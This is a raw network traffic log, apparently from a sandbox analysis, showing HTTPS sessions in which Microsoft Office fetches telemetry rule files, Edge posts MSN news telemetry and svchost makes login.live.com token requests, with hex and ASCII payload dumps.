2024-11-20 22:13:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ba8da3cbd7584215b581e835d93b893f&HASH=ba8d&LV=202411&V=4&LU=1732140785367; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 22:13:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3c4f5420478741e2bf24caa9ea348bba; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 22:43:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2622 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 22:13:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:05 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:05 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221305Z-1777c6cb754xlpjshC1TEBv8cc0000000adg0000000030r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:05 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:05 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221305Z-178bfbc474btvfdfhC1NYCa2en00000000qg00000000an3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49933	20.189.173.11	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:05 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140783607&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5292 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; msnup=
2024-11-20 22:13:05 UTC	5292	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 32 3a 31 33 3a 30 33 2e 36 30 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 61 36 64 35 35 30 33 2d 64 33 39 30 2d 34 30 33 39 2d 61 35 62 39 2d 66 33 64 62 38 61 66 39 64 33 66 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 37 35 32 36 30 32 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T22:13:03.606Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"5a6d5503-d390-4039-a5b9-f3db8af9d3fb","epoch":"3275260270"},"app":{"locale
2024-11-20 22:13:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c09337345cfb44948417b0e880fab4d1&HASH=c093&LV=202411&V=4&LU=1732140786188; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 22:13:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7c3e3473f5cc4f24a4ae0cdc6305e63e; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 22:43:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2581 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 22:13:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49934	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 22:13:06 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:13:06 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:12:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: f51d6666-1c28-42cf-b74a-169b9c3aecd9 PPServer: PPV: 30 H: BL02EPF0001D938 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:13:06 GMT Connection: close Content-Length: 1918
2024-11-20 22:13:06 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	49935	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 22:13:06 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 22:13:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 22:12:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 9d01655e-288f-4556-b201-66f253a13e68 PPServer: PPV: 30 H: PH1PEPF00012014 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 22:13:06 GMT Connection: close Content-Length: 11389
2024-11-20 22:13:06 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49936	20.189.173.11	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:06 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732140783748&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9660 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; msnup=
2024-11-20 22:13:06 UTC	9660	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 32 3a 31 33 3a 30 33 2e 37 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 61 36 64 35 35 30 33 2d 64 33 39 30 2d 34 30 33 39 2d 61 35 62 39 2d 66 33 64 62 38 61 66 39 64 33 66 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 37 35 32 36 30 32 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T22:13:03.747Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"5a6d5503-d390-4039-a5b9-f3db8af9d3fb","epoch":"3275260270"},"app":{"loc
2024-11-20 22:13:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3de560c8e7a242cf854dedb31e072437&HASH=3de5&LV=202411&V=4&LU=1732140786669; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 22:13:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1c52abe497124d7abc1434a95e9ed33f; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 22:43:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2921 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 22:13:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:06 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:06 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:06 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221306Z-178bfbc474b9fdhphC1NYCac0n00000000dg0000000032ve x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:06 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:06 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:07 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221307Z-178bfbc474bscnbchC1NYCe7eg00000000mg000000018ptz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:13:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:13:07 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 072a5b9f-c01e-00a2-4bf3-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221307Z-r1d97b99577d6qrbhC1TEBux5s00000009m000000000ddw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
